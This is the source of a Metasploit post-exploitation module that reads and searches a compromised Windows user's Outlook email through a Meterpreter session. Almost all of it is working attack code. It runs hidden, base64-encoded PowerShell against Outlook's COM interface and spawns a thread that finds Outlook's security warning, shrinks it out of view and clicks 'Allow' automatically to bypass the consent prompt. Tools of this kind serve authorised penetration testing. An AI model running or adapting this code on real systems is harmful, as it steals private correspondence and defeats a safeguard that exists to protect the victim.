metasploit-framework/modules/post/windows/gather/outlook.rb

185 lines
7.1 KiB
Ruby
Raw Normal View History

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'iconv'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::Registry
A_HASH = { "en_US" => "Allow", "NL" => "Toestaan", "de_DE" => "Erteilen", "de_AT" => "Erteilen" }
ACF_HASH = { "en_US" => "Allow access for", "NL" => "Toegang geven voor", "de_DE" => "Zugriff gewähren für", "de_AT" => "Zugriff gewähren für" }
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Outlook Email Messages',
'Description' => %q{
This module allows you to read and search email messages from the local Outlook installation using powershell. Please note that this module is manipulating the victims keyboard/mouse.
If a victim is behind the target system, he might notice the activities of this module. Tested on Windows 8.1 x64 with Office 2013.
},
'License' => MSF_LICENSE,
'Author' => [ 'Wesley Neelen <security[at]forsec.nl>' ],
'Platform' => [ 'win' ],
'Arch' => [ 'x86', 'x64' ],
'SessionTypes' => [ 'meterpreter']
))
register_options(
[
OptBool.new('LIST_FOLDERS', [ true, ' List the available folders', true]),
OptString.new('FOLDER', [ false, ' The e-mailfolder to read (e.g. Inbox)' ]),
OptString.new('KEYWORD', [ false, ' Search e-mails by the keyword specified here' ]),
OptString.new('A_TRANSLATION', [ false, ' Fill in the translation of the word "Allow" in the targets system language, to click on the security popup.' ]),
OptString.new('ACF_TRANSLATION', [ false, ' Fill in the translation of the phrase "Allow access for" in the targets system language, to click on the security popup.' ]),
], self.class)
end
def listBoxes
# This function prints a listing of available mailbox folders
psh_script = %Q|
function List-Folder {
Clear-host
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNameSpace("MAPI")
$NameSpace.Folders.Item(1).Folders \| FT FolderPath
}
List-Folder
|
utf16conv = Iconv.conv('UTF16LE', 'ASCII', psh_script)
encoded_psh = Rex::Text.encode_base64(utf16conv)
listBoxes_res = session.sys.process.execute("powershell.exe -enc #{encoded_psh}", nil, {'Hidden' => true, 'Channelized' => true})
sleep 3
print listBoxes_res.channel.read
listBoxes_res.channel.close
listBoxes_res.close
currentidle = session.ui.idle_time
print_status("System has currently been idle for #{currentidle} seconds")
end
def readEmails(folder,keyword,searchobject,atrans,acftrans)
# This functions reads Outlook using powershell scripts
view = framework.threads.spawn("ButtonClicker", false) {
clickButton(atrans,acftrans)
}
psh_script = %Q|
function Get-Emails {
param ([String]$searchTerm,[String]$Folder,[String]$searchObject)
Add-Type -Assembly "Microsoft.Office.Interop.Outlook"
$Outlook = New-Object -ComObject Outlook.Application
$Namespace = $Outlook.GetNameSpace("MAPI")
$NameSpace.Folders.Item(1)
try {
$Email = $NameSpace.Folders.Item(1).Folders.Item($Folder).Items
$Email \| Where-Object {$_.$searchObject -like '*' + $searchTerm + '*'}
Write-Host $Email
} catch {
Write-Host "The folder does not exist in the Outlook installation. Please fill in a correct foldername."
}
}
Get-Emails "#{keyword}" "#{folder}" "#{searchobject}"
|
utf16conv = Iconv.conv('UTF16LE', 'ASCII', psh_script)
encoded_psh = Rex::Text.encode_base64(utf16conv)
readEmails_res = session.sys.process.execute("powershell.exe -enc #{encoded_psh}", nil, {'Hidden' => true, 'Channelized' => true})
while(d = readEmails_res.channel.read)
print ("#{d}")
end
readEmails_res.channel.close
readEmails_res.close
end
def clickButton(atrans,acftrans)
# This functions clicks on the security notification generated by Outlook.
sleep 1
hwnd = client.railgun.user32.FindWindowW(nil, "Microsoft Outlook")
hwndChildCk = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "&#{acftrans}")
client.railgun.user32.SendMessageW(hwndChildCk['return'], 0x00F1, 1, nil)
client.railgun.user32.MoveWindow(hwnd['return'],150,150,1,1,true)
hwndChild = client.railgun.user32.FindWindowExW(hwnd['return'], nil, "Button", "#{atrans}")
client.railgun.user32.SetActiveWindow(hwndChild['return'])
client.railgun.user32.SetForegroundWindow(hwndChild['return'])
client.railgun.user32.SetCursorPos(150,150)
client.railgun.user32.mouse_event(0x0002,150,150,nil,nil)
client.railgun.user32.SendMessageW(hwndChild['return'], 0x00F5, 0, nil)
end
def run
# Main method
list_folder = datastore['LIST_FOLDERS']
folder = datastore['FOLDER']
keyword = datastore['KEYWORD'].to_s
object = "HTMLBody"
allow = datastore['A_TRANSLATION']
allow_access_for = datastore['ACF_TRANSLATION']
langNotSupported = false
# OS language check
sysLang = client.sys.config.sysinfo['System Language']
if sysLang != "en_US" and sysLang != "NL"
langNotSupported = true
else
atrans = A_HASH[sysLang]
acftrans = ACF_HASH[sysLang]
end
if allow and allow_access_for
atrans = allow
acftrans = allow_access_for
else
if langNotSupported == true
print_error ("System language not supported, only English (en-US) and Dutch (NL) are supported, you can specify the targets system translations in the options A_TRANSLATION (Allow) and ACF_TRANSLATION (Allow access for)")
abort()
end
end
# Outlook installed
@key_base = "HKCU\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows Messaging Subsystem\\Profiles\\Outlook\\9375CFF0413111d3B88A00104B2A6676"
outlookInstalled = registry_getvaldata("#{@key_base}\\", "NextAccountID")
if !outlookInstalled.nil?
if outlookInstalled != 0
print_good "Outlook is installed"
else
print_error "Outlook is not installed"
abort()
end
end
# Powershell installed check
powershellInstalled = registry_enumkeys("HKLM\\SOFTWARE\\Microsoft\\").include?("PowerShell")
if !powershellInstalled.nil?
if powershellInstalled != 0
print_good("Powershell is installed on this system.")
else
print_error("Powershell is not installed")
abort()
end
end
# Check whether target system is locked
locked = client.railgun.user32.GetForegroundWindow()['return']
if locked == 0
print_error("Target system is locked. This post module cannot click on Outlooks security warning when the target system is locked")
abort()
end
if list_folder
print_good('Available folders in the mailbox: ')
listBoxes()
else
print_status('Not printing folders, LIST_FOLDERS disabled')
end
if folder and folder != ""
readEmails(folder,keyword,object,atrans,acftrans)
end
end
end